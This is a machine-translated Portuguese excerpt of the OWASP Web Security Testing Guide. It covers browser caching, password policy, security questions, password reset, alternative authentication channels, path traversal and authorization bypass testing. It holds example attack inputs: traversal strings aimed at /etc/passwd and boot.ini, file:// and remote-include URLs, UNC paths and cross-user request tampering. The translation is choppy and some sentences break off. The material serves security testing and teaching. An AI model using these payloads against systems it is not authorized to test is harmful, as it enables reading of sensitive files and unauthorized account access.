Certifique-se de que nenhuma credencial seja armazenada em texto não criptografado ou facilmente recuperável em formas codificadas ou criptografadas nos
mecanismos de armazenamento do navegador; eles devem ser armazenados no lado do servidor e seguir um bom armazenamento de senha práticas.
Machine Translated by Google
156
EU IRIA
WSTG-ATHN-06
Resumo
Nesta fase, o testador verifica se o aplicativo instrui corretamente o navegador a não reter dados confidenciais.
Os navegadores podem armazenar informações para fins de cache e histórico. O cache é usado para melhorar o desempenho, para que as
informações exibidas anteriormente não precisem ser baixadas novamente. Mecanismos de histórico são usados para conveniência do
usuário, para que o usuário possa ver exatamente o que viu no momento em que o recurso foi recuperado. Se informações confidenciais
forem exibidas para o usuário (como endereço, detalhes do cartão de crédito, número de CPF ou nome de usuário), essas informações
poderão ser armazenadas para fins de cache ou histórico e, portanto, recuperáveis por meio do exame do cache do navegador ou
simplesmente pressionando o botão Voltar do navegador .
Objetivos do teste
Revise se o aplicativo armazena informações confidenciais no lado do cliente.
Revise se o acesso pode ocorrer sem autorização.
Como testar
Histórico do navegador
Tecnicamente, o botão Voltar é um histórico e não um cache (consulte Cache em HTTP: listas de histórico). O cache e o histórico são duas
entidades diferentes. No entanto, eles compartilham a mesma fraqueza de apresentar informações confidenciais exibidas anteriormente.
O primeiro e mais simples teste consiste em inserir informações confidenciais no aplicativo e fazer logout. Em seguida, o testador clica no
botão Voltar do navegador para verificar se as informações confidenciais exibidas anteriormente podem ser acessadas enquanto não
autenticadas.
Se, ao pressionar o botão Voltar , o testador puder acessar as páginas anteriores, mas não acessar as novas, não é um problema de
autenticação, mas um problema de histórico do navegador. Se essas páginas contiverem dados confidenciais, isso significa que o aplicativo
não proibiu o navegador de armazená-los.
A autenticação não precisa necessariamente estar envolvida no teste. Por exemplo, quando um usuário insere seu endereço de e-mail para
se inscrever em um boletim informativo, essas informações podem ser recuperadas se não forem tratadas adequadamente.
O botão Voltar pode ser impedido de mostrar dados confidenciais. Isso pode ser feito por:
Cache do navegador
Aqui, os testadores verificam se o aplicativo não vaza dados confidenciais no cache do navegador. Para fazer isso, eles podem usar um proxy
(como o OWASP ZAP) e pesquisar as respostas do servidor pertencentes à sessão, verificando se, para cada página que contém informações
confidenciais, o servidor instruiu o navegador a não armazenar nenhum dado em cache. Essa diretiva pode ser emitida nos cabeçalhos de
resposta HTTP com as seguintes diretivas:
Expira: 0
Machine Translated by Google
157
Essas diretivas são geralmente robustas, embora sinalizadores adicionais possam ser necessários para o cabeçalho Cache-Control , a fim de prevenir melhor os
HTTP/1.1:
Controle de cache: sem cache
HTTP/1.0:
Pragma: sem cache
Expira: "data passada ou valor ilegal (por exemplo, 0)"
Por exemplo, se os testadores estiverem testando um aplicativo de comércio eletrônico, eles devem procurar todas as páginas que contenham um número de cartão
de crédito ou alguma outra informação financeira e verificar se todas essas páginas aplicam a diretiva no-cache . Se eles encontrarem páginas que contenham
informações críticas, mas que falham em instruir o navegador a não armazenar em cache seu conteúdo, eles saberão que informações confidenciais serão
O local exato onde essas informações são armazenadas depende do sistema operacional do cliente e do navegador usado. aqui estão alguns exemplos:
Mozilla Firefox:
Unix/Linux: ~/.cache/mozilla/firefox/
Windows: C:\Users\<user_name>\AppData\Local\Mozilla\Firefox\Profiles\<profile-id>\Cache2\
Explorador de Internet:
C:\Users\<user_name>\AppData\Local\Microsoft\Windows\INetCache\
Cromada:
Unix/Linux: ~/.cache/google-chrome
O Firefox fornece funcionalidade para visualizar informações em cache, o que pode ser benéfico para você como testador. É claro que a indústria também produziu
várias extensões e aplicativos externos que você pode preferir ou precisar para Chrome, Internet Explorer ou Edge.
Os detalhes do cache também estão disponíveis por meio de ferramentas de desenvolvedor na maioria dos navegadores modernos, como Firefox, Cromada, e Borda.
Com o Firefox também é possível usar a URL about:cache para verificar os detalhes do cache.
móveis A manipulação de diretivas de cache pode ser completamente diferente para navegadores móveis. Portanto, os testadores devem iniciar uma nova sessão de
navegação com caches limpos e aproveitar recursos como o Modo de dispositivo do Chrome ou o modo de design responsivo do Firefox para testar novamente ou
Além disso, proxies pessoais como ZAP e Burp Suite permitem que o testador especifique qual User-Agent deve ser enviado por seus spiders/crawlers. Isso pode ser
definido para corresponder a uma string User-Agent do navegador móvel e usado para ver quais diretivas de cache são enviadas pelo aplicativo que está sendo
testado.
código HTML. No entanto, com o teste de caixa cinza, o testador pode ter acesso à conta
Machine
158
Translated by Google
credenciais que permitirão que eles testem páginas confidenciais acessíveis apenas a usuários autenticados.
Ferramentas
Referências
Artigos técnicos
Cache em HTTP
Machine Translated by Google
159
EU IRIA
WSTG-ATHN-07
Resumo
O mecanismo de autenticação mais prevalente e mais facilmente administrado é uma senha estática. A senha representa as chaves do reino,
mas muitas vezes é subvertida pelos usuários em nome da usabilidade. Em cada um dos recentes hacks de alto perfil que revelaram as
credenciais do usuário, lamenta-se que as senhas mais comuns ainda sejam: 123456 senha e qwerty . ,
Objetivos do teste
Determine a resistência do aplicativo contra adivinhação de senha de força bruta usando dicionários de senha disponíveis, avaliando o
comprimento, a complexidade, a reutilização e os requisitos de validade das senhas.
Como testar
1. Quais caracteres são permitidos e proibidos para uso em uma senha? O usuário é obrigado a usar caracteres
de diferentes conjuntos de caracteres, como letras minúsculas e maiúsculas, dígitos e símbolos especiais?
2. Com que frequência um usuário pode alterar sua senha? Com que rapidez um usuário pode alterar sua senha após uma alteração anterior?
Os usuários podem ignorar os requisitos de histórico de senha alterando sua senha 5 vezes seguidas para que, após a última alteração de
senha, tenham configurado sua senha inicial novamente.
4. Com que frequência um usuário pode reutilizar uma senha? O aplicativo mantém um histórico dos 8 dados usados anteriormente pelo usuário?
senhas?
6. O usuário está impedido de usar seu nome de usuário ou outras informações de conta (como nome ou sobrenome) no
senha?
7. Quais são os tamanhos mínimo e máximo de senha que podem ser definidos e são apropriados para a sensibilidade
da conta e aplicação?
Remediação
Para mitigar o risco de senhas facilmente adivinhadas, facilitando o acesso não autorizado, existem duas soluções: introduzir controles de
autenticação adicionais (ou seja, autenticação de dois fatores) ou introduzir uma política de senha forte. A mais simples e barata delas é a
introdução de uma política de senha forte que garanta o comprimento, a complexidade, a reutilização e a validade da senha; embora idealmente
ambos devam ser implementados.
Referências
Ataques de Força Bruta
Machine Translated by Google
160
EU IRIA
WSTG-ATHN-08
Resumo
Frequentemente chamadas de perguntas e respostas “secretas”, as perguntas e respostas de segurança costumam ser usadas para recuperar senhas
esquecidas (consulte Teste de alteração de senha fraca ou funcionalidades de redefinição ou como segurança extra sobre a senha.
Eles geralmente são gerados na criação da conta e exigem que o usuário selecione algumas perguntas pré-geradas e forneça uma resposta apropriada.
Eles podem permitir que o usuário gere seus próprios pares de perguntas e respostas. Ambos os métodos são propensos a inseguranças. Idealmente,
as perguntas de segurança devem gerar respostas que sejam conhecidas apenas pelo usuário e que não possam ser adivinhadas ou descobertas por
qualquer outra pessoa. Isso é mais difícil do que parece. As perguntas e respostas de segurança dependem do sigilo da resposta. As perguntas e
respostas devem ser escolhidas de forma que as respostas sejam conhecidas apenas pelo titular da conta. No entanto, embora muitas respostas
possam não ser conhecidas publicamente, a maioria das perguntas que os sites implementam promove respostas pseudoprivadas.
perguntas pré-geradas são bastante simplistas por natureza e podem levar a respostas inseguras. Por exemplo:
As respostas podem ser do conhecimento de familiares ou amigos próximos do usuário, por exemplo “Qual é o nome de solteira da sua mãe?”,
“Qual é a sua data de nascimento?”
As respostas podem ser facilmente adivinhadas, por exemplo, “Qual é a sua cor favorita?”, “Qual é o seu time de beisebol favorito?”
As respostas podem ser de força bruta, por exemplo, “Qual é o primeiro nome do seu professor favorito do ensino médio?” - a resposta
provavelmente está em algumas listas de nomes populares facilmente disponíveis para download e, portanto, um simples ataque de força bruta
pode ser programado.
As respostas podem ser descobertas publicamente, por exemplo, “Qual é o seu filme favorito?” - a resposta pode ser facilmente encontrada na
página de perfil da mídia social do usuário.
O problema de fazer com que os usuários criem suas próprias perguntas é que isso permite que eles gerem perguntas muito inseguras ou até mesmo
ignorem o objetivo de ter uma pergunta de segurança em primeiro lugar. Aqui estão alguns exemplos do mundo real que ilustram este ponto:
“Quanto é 1+1?”
Objetivos do teste
Determine a complexidade e quão diretas são as perguntas.
Como testar
Teste de perguntas pré-geradas fracas Tente obter uma lista de
perguntas de segurança criando uma nova conta ou seguindo o processo “Não me lembro da minha senha”. Tente gerar o maior número possível de
perguntas para ter uma boa ideia do tipo de perguntas de segurança que são feitas. Se alguma das perguntas de segurança se enquadrar nas
categorias descritas acima, ela estará vulnerável a ataques (adivinhação, força bruta, disponível em mídia social, etc.).
Machine
161
Translated by Google
perguntas de segurança criando uma nova conta ou configurando as propriedades de recuperação de senha de sua conta existente. Se o sistema permitir que
o usuário gere suas próprias perguntas de segurança, ele estará vulnerável a criar perguntas inseguras. Se o sistema usar as perguntas de segurança geradas
automaticamente durante a funcionalidade de senha esquecida e se os nomes de usuário puderem ser enumerados (consulte Teste para enumeração de
contas e conta de usuário adivinhável, deve ser fácil para o testador enumerar várias perguntas geradas automaticamente. Deve-se esperar encontrar várias
questões autogeradas fracas usando este método.
descritos em Testando o mecanismo de bloqueio fraco para determinar se várias respostas de segurança fornecidas incorretamente acionam um mecanismo
de bloqueio.
A primeira coisa a levar em consideração ao tentar explorar questões de segurança é o número de questões que precisam ser respondidas. A maioria dos
aplicativos precisa apenas que o usuário responda a uma única pergunta, enquanto alguns aplicativos críticos podem exigir que o usuário responda a duas ou
até mais perguntas.
O próximo passo é avaliar a força das questões de segurança. As respostas poderiam ser obtidas por uma simples pesquisa no Google ou com um ataque de
engenharia social? Como testador de penetração, aqui está um passo a passo para explorar um esquema de perguntas de segurança:
O aplicativo permite que o usuário final escolha a pergunta que precisa ser respondida? Em caso afirmativo, concentre-se em perguntas que tenham:
Uma resposta “pública”; por exemplo, algo que pode ser encontrado com uma simples consulta em um mecanismo de pesquisa.
Uma resposta factual, como uma “primeira escola” ou outros fatos que podem ser pesquisados.
Poucas respostas possíveis, como “que modelo foi o seu primeiro carro”. Essas perguntas apresentariam ao invasor uma pequena lista de respostas
possíveis e, com base nas estatísticas, o invasor poderia classificar as respostas da mais para a menos provável.
Existe um período de bloqueio após X respostas incorretas? Lembre-se de que um sistema de bloqueio pode ser um problema de segurança em si,
pois pode ser explorado por um invasor para iniciar uma negação de serviço contra usuários legítimos.
Escolha a pergunta apropriada com base na análise dos pontos acima e faça pesquisas para determinar as respostas mais prováveis.
A chave para explorar com sucesso e contornar um esquema de pergunta de segurança fraco é encontrar uma pergunta ou um conjunto de perguntas que dê a
possibilidade de encontrar facilmente as respostas. Sempre procure perguntas que possam lhe dar a maior chance estatística de adivinhar a resposta correta,
se você não tiver certeza de nenhuma das respostas. No final, um esquema de pergunta de segurança é tão forte quanto a pergunta mais fraca.
Referências
A maldição da pergunta secreta
EU IRIA
WSTG-ATHN-09
Resumo
A função de alteração e redefinição de senha de um aplicativo é um mecanismo de alteração ou redefinição de senha de autoatendimento para
usuários. Esse mecanismo de autoatendimento permite que os usuários alterem ou redefinam rapidamente suas senhas sem a intervenção de um
administrador. Quando as senhas são alteradas, elas geralmente são alteradas no aplicativo. Quando as senhas são redefinidas, elas são
renderizadas no aplicativo ou enviadas por e-mail ao usuário. Isso pode indicar que as senhas são armazenadas em texto simples ou em um formato
descriptografável.
Objetivos do teste
Determine a resistência do aplicativo à subversão do processo de alteração de conta, permitindo que alguém altere a senha de uma conta.
Como testar
Tanto para alteração de senha quanto para redefinição de senha, é importante verificar:
1. se os usuários, exceto administradores, puderem alterar ou redefinir senhas para contas que não sejam suas.
2. se os usuários puderem manipular ou subverter o processo de alteração ou redefinição de senha para alterar ou redefinir a senha de
outro usuário ou administrador.
O primeiro passo é verificar se perguntas secretas são necessárias. Enviar a senha (ou um link de redefinição de senha) para o endereço de
e-mail do usuário sem primeiro fazer uma pergunta secreta significa confiar 100% na segurança desse endereço de e-mail, o que não é
adequado se o aplicativo precisar de um alto nível de segurança.
Por outro lado, se forem usadas perguntas secretas, o próximo passo é avaliar sua força. Esse teste específico é discutido em detalhes no
parágrafo Testando para perguntas/respostas de segurança fracas deste guia.
O cenário mais inseguro aqui é se a ferramenta de redefinição de senha mostrar a senha; isso dá ao invasor a capacidade de fazer login na
conta e, a menos que o aplicativo forneça informações sobre o último login, a vítima não saberá que sua conta foi comprometida.
Um cenário menos inseguro é se a ferramenta de redefinição de senha forçar o usuário a alterar sua senha imediatamente. Embora não seja
tão furtivo quanto o primeiro caso, ele permite que o invasor obtenha acesso e bloqueia o acesso do usuário real.
A melhor segurança é alcançada se a redefinição de senha for feita por e-mail para o endereço com o qual o usuário se cadastrou inicialmente,
ou algum outro endereço de e-mail; isso força o invasor não apenas a adivinhar em qual conta de e-mail a senha
Machine
163
Translated by Google
reset foi enviado (a menos que o aplicativo mostre essa informação), mas também para comprometer essa conta de e-mail para obter a senha
temporária ou o link de redefinição de senha.
O cenário mais inseguro aqui é se o aplicativo enviar ou visualizar a senha antiga em texto não criptografado, porque isso significa que as senhas
não são armazenadas em forma de hash, o que é um problema de segurança em si.
A melhor segurança é alcançada se as senhas forem geradas aleatoriamente com um algoritmo seguro que não pode ser derivado.
Para limitar os ataques de negação de serviço, o aplicativo deve enviar um link por e-mail ao usuário com um token aleatório e, somente se o
usuário visitar o link, o procedimento de redefinição será concluído. Isso garante que a senha atual ainda seja válida até que a redefinição seja
confirmada.
O cenário mais inseguro aqui é se o aplicativo permitir a alteração da senha sem solicitar a senha atual. De fato, se um invasor conseguir controlar
uma sessão válida, poderá alterar facilmente a senha da vítima. Consulte também o parágrafo Teste de política de senha fraca deste guia.
Remediação
A função de alteração ou redefinição de senha é uma função sensível e requer alguma forma de proteção, como exigir que os usuários se autentiquem
novamente ou apresentar ao usuário telas de confirmação durante o processo.
Referências
Folha de dicas de senha esquecida do OWASP
Machine Translated by Google
164
EU IRIA
WSTG-ATHN-10
Resumo
Mesmo que os mecanismos de autenticação primários não incluam nenhuma vulnerabilidade, pode ser que existam vulnerabilidades em canais
alternativos de autenticação legítima do usuário para as mesmas contas de usuário. Testes devem ser realizados para identificar canais alternativos
e, sujeitos ao escopo do teste, identificar vulnerabilidades.
Os canais alternativos de interação do usuário podem ser utilizados para contornar o canal principal ou expor informações que podem ser usadas
para auxiliar um ataque contra o canal principal. Alguns desses canais podem ser aplicativos da Web separados usando nomes de host ou
caminhos diferentes. Por exemplo:
site padrão
Sites paralelos que utilizam as mesmas contas de usuário (por exemplo, outro site que oferece funções diferentes da mesma organização,
um site parceiro com o qual as contas de usuário são compartilhadas)
Observe que o foco deste teste está em canais alternativos; algumas alternativas de autenticação podem aparecer como conteúdo diferente
fornecido pelo mesmo site e quase certamente estariam no escopo do teste. Eles não são discutidos mais aqui e deveriam ter sido identificados
durante a coleta de informações e o teste de autenticação primária. Por exemplo:
Mesmo que o escopo do teste não permita que os canais alternativos sejam testados, sua existência deve ser documentada. Isso pode prejudicar
o grau de garantia nos mecanismos de autenticação e pode ser um precursor para testes adicionais.
Exemplo
O site principal é http://www.example.com e as funções de autenticação sempre ocorrem em páginas que usam TLS
https://www.example.com/myaccount/ .
No entanto, existe um site separado otimizado para celular que não usa TLS e tem um mecanismo de recuperação de senha mais fraco http://
m.example.com/myaccount/ .
Machine Translated by Google
165
Objetivos do teste
Identifique canais alternativos de autenticação.
Como testar
Entenda o mecanismo primário
Teste totalmente as funções de autenticação primária do site. Isso deve identificar como as contas são emitidas, criadas ou alteradas e
como as senhas são recuperadas, redefinidas ou alteradas. Além disso, o conhecimento de qualquer autenticação de privilégio elevado e
medidas de proteção de autenticação deve ser conhecido. Esses precursores são necessários para poder comparar com quaisquer canais
alternativos.
Lendo o conteúdo do site, especialmente a página inicial, entre em contato conosco, páginas de ajuda, artigos de suporte e perguntas frequentes, T&Cs, avisos
Pesquisar logs de proxy HTTP, registrados durante a coleta e teste de informações anteriores, para strings como “mobile”, “android”,
blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless” , “auth”, “sso”, “single sign on” em caminhos de URL e conteúdo do
corpo.
Use mecanismos de busca para encontrar sites diferentes da mesma organização, ou usando o mesmo nome de domínio, que tenham
conteúdo de página inicial semelhante ou que também tenham mecanismos de autenticação.
Para cada canal possível, confirme se as contas de usuário são compartilhadas entre eles ou forneça acesso à mesma funcionalidade ou
semelhante.
Registro Sim - -
Sair - - -
- Mudar senha - -
Neste exemplo, o celular tem uma função extra “alterar senha”, mas não oferece “sair”. Um número limitado de tarefas também é possível
ligando para o call center. As centrais de atendimento podem ser interessantes, pois suas verificações de confirmação de identidade podem
ser mais fracas que as do site, permitindo que esse canal seja usado para auxiliar um ataque contra a conta de um usuário.
Ao enumerar isso, vale a pena observar como o gerenciamento de sessão é realizado, caso haja sobreposição em qualquer canal (por
exemplo, cookies com escopo para o mesmo nome de domínio pai, sessões simultâneas permitidas em canais, mas não no mesmo canal).
Revise e teste
Canais alternativos devem ser mencionados no relatório de teste, mesmo que sejam marcados como “somente informativos” ou “fora do
escopo”. Em alguns casos, o escopo de teste pode incluir o canal alternativo (por exemplo, porque é apenas outro caminho no nome do
host de destino) ou pode ser adicionado ao escopo após discussão com os proprietários de todos os canais. Se o teste for permitido e
autorizado, todos os outros testes de autenticação neste guia devem ser executados e comparados com o canal principal.
Machine Translated by Google
166
Remediação
Certifique-se de que uma política de autenticação consistente seja aplicada em todos os canais para que sejam igualmente seguros.
Machine Translated by Google
167
EU IRIA
WSTG-ATHZ-01
Resumo
Muitos aplicativos da Web usam e gerenciam arquivos como parte de sua operação diária. Usando métodos de validação de entrada que não foram bem projetados
ou implantados, um agressor pode explorar o sistema para ler ou gravar arquivos que não devem ser acessíveis. Em situações particulares, pode ser possível
Tradicionalmente, servidores web e aplicativos web implementam mecanismos de autenticação para controlar o acesso a arquivos e recursos. Os servidores da
Web tentam confinar os arquivos dos usuários dentro de um “diretório raiz” ou “raiz do documento da Web”, que representa um diretório físico no sistema de
arquivos. Os usuários devem considerar esse diretório como o diretório base na estrutura hierárquica do aplicativo da web.
A definição dos privilégios é feita por meio de Listas de Controle de Acesso (ACL) que identificam quais usuários ou grupos devem poder acessar, modificar ou
executar um determinado arquivo no servidor. Esses mecanismos são projetados para impedir que usuários mal-intencionados acessem arquivos confidenciais (por
exemplo, o arquivo comum /etc/passwd em uma plataforma semelhante ao UNIX) ou para evitar a execução de comandos do sistema.
Muitos aplicativos da Web usam scripts do lado do servidor para incluir diferentes tipos de arquivos. É bastante comum utilizar este método para gerenciar imagens,
templates, carregar textos estáticos, etc. Infelizmente, esses aplicativos expõem vulnerabilidades de segurança se os parâmetros de entrada (ou seja, parâmetros
Em servidores e aplicativos da Web, esse tipo de problema surge em ataques de path traversal/file include. Ao explorar esse tipo de vulnerabilidade, um invasor
pode ler diretórios ou arquivos que normalmente não conseguiria ler, acessar dados fora da raiz do documento da Web ou incluir scripts e outros tipos de arquivos
de sites externos.
Para fins do Guia de Teste OWASP, apenas as ameaças de segurança relacionadas a aplicativos da Web serão consideradas e não ameaças a servidores da Web
(por exemplo, o infame código de escape %5c no servidor da Web do Microsoft IIS). Outras sugestões de leitura serão fornecidas na seção de referências para os
leitores interessados.
Esse tipo de ataque também é conhecido como ataque ponto-ponto-barra ( ../ ), travessia de diretório, subida de diretório ou retrocesso.
Durante uma avaliação, para descobrir falhas de path traversal e file include, os testadores precisam realizar dois estágios diferentes:
2. Técnicas de teste (uma avaliação metódica de cada técnica de ataque usada por um invasor para explorar o
vulnerabilidade)
Objetivos do teste
Identifique os pontos de injeção que pertencem à travessia do caminho.
Como testar
Teste de Caixa Preta
Enumeração de Vetores de Entrada
Machine Translated by Google
169
Para determinar qual parte do aplicativo é vulnerável ao desvio da validação de entrada, o testador precisa enumerar todas as partes do aplicativo que
aceitam o conteúdo do usuário. Isso também inclui consultas HTTP GET e POST e opções comuns, como uploads de arquivos e formulários HTML.
Aqui estão alguns exemplos das verificações a serem realizadas nesta fase:
Existem parâmetros de solicitação que podem ser usados para operações relacionadas a arquivos?
Existem extensões de arquivo incomuns?
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
É possível identificar os cookies utilizados pela aplicação web para a geração dinâmica de páginas ou templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flor
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Técnicas de teste
A próxima etapa do teste é analisar as funções de validação de entrada presentes no aplicativo da web. Usando o exemplo anterior, a página dinâmica
chamada getUserProfile.jsp carrega informações estáticas de um arquivo e mostra o conteúdo aos usuários. Um invasor pode inserir a string
maliciosa ../../../../etc/passwd para incluir o arquivo hash de senha de um sistema Linux/UNIX. Obviamente, esse tipo de ataque só é possível se o ponto
de verificação de validação falhar; de acordo com os privilégios do sistema de arquivos, o próprio aplicativo da web deve ser capaz de ler o arquivo.
Para testar essa falha com sucesso, o testador precisa ter conhecimento do sistema que está sendo testado e da localização dos arquivos solicitados.
Não faz sentido solicitar /etc/passwd de um servidor web IIS.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
Se os protocolos forem aceitos como argumentos, como no exemplo acima, também é possível testar o sistema de arquivos local
maneira:
http://example.com/index.php?file=file:///etc/passwd
Se os protocolos forem aceitos como argumentos, como nos exemplos acima, também é possível sondar os serviços locais e próximos:
http://example.com/index.php?file=http://localhost:8080 http://example.com/
index.php?file=http://192.168.0.2:9080
Machine Translated by Google
170
O exemplo a seguir demonstrará como é possível mostrar o código-fonte de um componente CGI, sem usar nenhum caractere de passagem de
caminho.
http://example.com/main.cgi?home=main.cgi
O componente chamado main.cgi está localizado no mesmo diretório que os arquivos estáticos HTML normais usados pelo aplicativo. Em alguns
casos, o testador precisa codificar as solicitações usando caracteres especiais (como . dot, %00 null etc.) para ignorar os controles de extensão de
arquivo ou impedir a execução do script.
Dica: é um erro comum dos desenvolvedores não esperar todas as formas de codificação e, portanto, apenas validar o conteúdo codificado básico.
Se inicialmente a string de teste não for bem-sucedida, tente outro esquema de codificação.
diretório raiz: /
separador de diretório: /
SO Windows:
separador de diretório: \ ou /
Mac OS clássico:
separador de diretório: :
Codificação Unicode/UTF-8 (só funciona em sistemas capazes de aceitar sequências UTF-8 muito longas) ..%c0%af
representa ../
Há outras considerações específicas do sistema operacional e da estrutura de aplicativos também. Por exemplo, o Windows é flexível em sua análise
de caminhos de arquivo.
Shell do Windows: Anexar qualquer um dos seguintes caminhos usados em um comando shell não resulta em nenhuma diferença na função:
diretório pai estranhos com itens arbitrários que podem ou não existir:
arquivo.txt
arquivo.txt...
arquivo.txt<espaços>
Machine Translated by Google
171
arquivo.txt""""
arquivo.txt<<<>>><
./././arquivo.txt
inexistente/../arquivo.txt
API do Windows: Os itens a seguir são descartados quando usados em qualquer comando shell ou chamada de API em que uma string é usada
como nome de arquivo:
períodos
espaços
Windows UNC Filepaths: Usado para fazer referência a arquivos em compartilhamentos SMB. Às vezes, um aplicativo pode ser feito para se
referir a arquivos em um caminho de arquivo UNC remoto. Nesse caso, o servidor Windows SMB pode enviar credenciais armazenadas ao
invasor, que podem ser capturadas e quebradas. Eles também podem ser usados com um endereço IP auto-referencial ou nome de domínio
para evitar filtros, ou usados para acessar arquivos em compartilhamentos SMB inacessíveis ao invasor, mas acessíveis a partir do servidor web.
\\servidor_ou_ip\caminho\para\arquivo.abc
\\?\servidor_ou_ip\caminho\para\arquivo.abc
Namespace do dispositivo Windows NT: usado para se referir ao namespace do dispositivo Windows. Certas referências permitirão o acesso a
sistemas de arquivos usando um caminho diferente.
Pode ser equivalente a uma letra de unidade como c:\ , ou até mesmo um volume de unidade sem uma letra atribuída:
\\.\GLOBALROOT\Dispositivo\HarddiskVolume1\
Quando a análise é realizada com uma abordagem de teste de caixa cinza, os testadores devem seguir a mesma metodologia do teste de caixa
preta. No entanto, como eles podem revisar o código-fonte, é possível pesquisar os vetores de entrada com mais facilidade e precisão. Durante uma
revisão do código-fonte, eles podem usar ferramentas simples (como o comando grep ) para pesquisar um ou mais padrões comuns no código do
aplicativo: funções/métodos de inclusão, operações do sistema de arquivos e assim por diante.
Usando mecanismos de pesquisa de código on-line (por exemplo, Searchcode), também pode ser possível encontrar falhas de path traversal em
software de código aberto publicado na Internet.
(incluir|exigir)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Usando o método de teste de caixa cinza, é possível descobrir vulnerabilidades que geralmente são mais difíceis de descobrir, ou mesmo impossíveis
de encontrar durante uma avaliação de caixa preta padrão.
Alguns aplicativos da web geram páginas dinâmicas usando valores e parâmetros armazenados em um banco de dados. Pode ser possível inserir
cadeias de passagem de caminho especialmente criadas quando o aplicativo adiciona dados ao banco de dados. Esse tipo de problema de segurança
é difícil de descobrir devido ao fato de que os parâmetros dentro das funções de inclusão parecem internos e seguros , mas na realidade não são.
Além disso, revisando o código-fonte, é possível analisar as funções que devem lidar com entradas inválidas: alguns desenvolvedores tentam alterar
entradas inválidas para torná-las válidas, evitando avisos e erros. Essas funções geralmente são propensas a falhas de segurança.
file=....//....//boot.ini
arquivo=....\\....\\boot.ini
arquivo= ..\..\boot.ini
Ferramentas
OWASP ZAP
Suíte Burp
Ferramentas de codificação/decodificação
DirBuster
Referências
Artigos técnicos
phpBB Attachment Mod Directory Traversal HTTP POST Injection
EU IRIA
WSTG-ATHZ-02
Resumo
Esse tipo de teste se concentra em verificar como o esquema de autorização foi implementado para cada função ou privilégio para obter acesso a
funções e recursos reservados.
Para cada função específica que o testador exerce durante a avaliação e para cada função e solicitação que o aplicativo executa durante a fase
de pós-autenticação, é necessário verificar:
É possível acessar esse recurso mesmo que o usuário não esteja autenticado?
É possível acessar funções e recursos que deveriam ser acessíveis a um usuário que possui uma função ou privilégio diferente?
Tente acessar o aplicativo como usuário administrativo e acompanhe todas as funções administrativas.
É possível acessar as funções administrativas se o testador estiver conectado como um usuário não administrador?
É possível usar essas funções administrativas como um usuário com uma função diferente e para quem essa ação deve ser negada?
Objetivos do teste
Avalie se o acesso horizontal ou vertical é possível.
Como testar
Acesse recursos e conduza operações horizontalmente.
É possível acessar recursos que devem ser acessíveis a um usuário que possui uma identidade diferente com a mesma função ou privilégio?
É possível operar funções em recursos que devem ser acessíveis a um usuário que possui uma identidade diferente?
2. Estabelecer e manter ativas duas sessões diferentes (uma para cada usuário).
3. Para cada solicitação, altere os parâmetros relevantes e o identificador de sessão do token um para o token dois e
diagnosticar as respostas para cada token.
4. Um aplicativo será considerado vulnerável se as respostas forem as mesmas, contiverem os mesmos dados privados ou indicarem operação
bem-sucedida em recursos ou dados de outros usuários.
Por exemplo, suponha que a função viewSettings faça parte de todos os menus de conta do aplicativo com a mesma função,
e isto é possível para Acesso isto
de solicitando a Segue URL:
Machine Translated by Google
174
Cookie: SessionID=USER_SESSION
nome de usuário=example_user
HTTP1.1 200 OK
[outros cabeçalhos HTTP]
{
"username": "example_user", "email":
"example@email.com", "address":
"Example Address"
}
O invasor pode tentar executar essa solicitação com o mesmo parâmetro de nome de usuário:
Cookie: SessionID=ATTACKER_SESSION
nome de usuário=example_user
Se a resposta do invasor contiver os dados do example_user , o aplicativo estará vulnerável a movimentos laterais
ataques, onde um usuário pode ler ou escrever dados de outro usuário.
vertical é específico para o caso de um invasor obter uma função superior à sua. O teste para esse desvio concentra-se na verificação de como o
esquema de autorização vertical foi implementado para cada função. Para cada função, página, função específica ou solicitação que o aplicativo executa,
é necessário verificar se é possível:
Acessar recursos que devem ser acessíveis apenas a um usuário com função superior.
Opere funções em recursos que devem ser operados apenas por um usuário que possua uma identidade de função superior ou específica.
1. Registre um usuário.
2. Estabeleça e mantenha duas sessões diferentes com base nas duas funções diferentes.
3. Para cada solicitação, altere o identificador de sessão do original para o identificador de sessão de outra função e avalie
as respostas de cada um.
4. Um aplicativo será considerado vulnerável se a sessão com privilégios mais fracos contiver os mesmos dados ou indicar operações bem-sucedidas
em funções com privilégios mais altos.
A tabela a seguir ilustra as funções do sistema em um site bancário. Cada função é vinculada a permissões específicas para a funcionalidade do menu
de eventos:
Machine Translated by Google
175
Suponha que a função deleteEvent faça parte do menu da conta de administrador do aplicativo e seja possível acessá-la solicitando a seguinte
URL: https://www.example.com/account/deleteEvent . Em seguida, a seguinte solicitação HTTP é gerada ao chamar a função deleteEvent :
EventID=1000001
A resposta válida:
HTTP/1.1 200 OK
[outros cabeçalhos HTTP]
EventID=1000002
Se a resposta da solicitação do invasor contiver os mesmos dados {"mensagem": "Evento foi excluído"} , o aplicativo estará vulnerável.
O aplicativo será considerado vulnerável se qualquer função diferente de administrador puder acessar o menu do administrador.
Às vezes, os desenvolvedores executam a validação de autorização apenas no nível da GUI e deixam as funções sem validação de autorização,
resultando potencialmente em uma vulnerabilidade.
Por exemplo, suponha que a função addUser faça parte do menu administrativo do aplicativo e seja possível acessá-la solicitando a seguinte URL https://
www.example.com/admin/addUser .
userID=fakeuser&role=3&group=grp001
Vários controles de recursos de configuração de aplicativos com base em funções de usuário. Vamos dar um exemplo de currículos ou currículos (curriculum
vitae) carregados em um formulário de carreiras para um bucket do S3.
Como usuário normal, tente acessar a localização desses arquivos. Se você conseguir recuperá-los, modificá-los ou excluí-los, o aplicativo estará vulnerável.
Alguns aplicativos oferecem suporte a cabeçalhos não padrão, como X-Original-URL ou X-Rewrite-URL , para permitir a substituição da URL de destino nas
Esse comportamento pode ser aproveitado em uma situação em que o aplicativo está atrás de um componente que aplica restrição de controle de acesso com
base na URL solicitada.
O tipo de restrição de controle de acesso com base na URL de solicitação pode ser, por exemplo, bloquear o acesso da Internet a um console de administração
exposto em /console ou /admin .
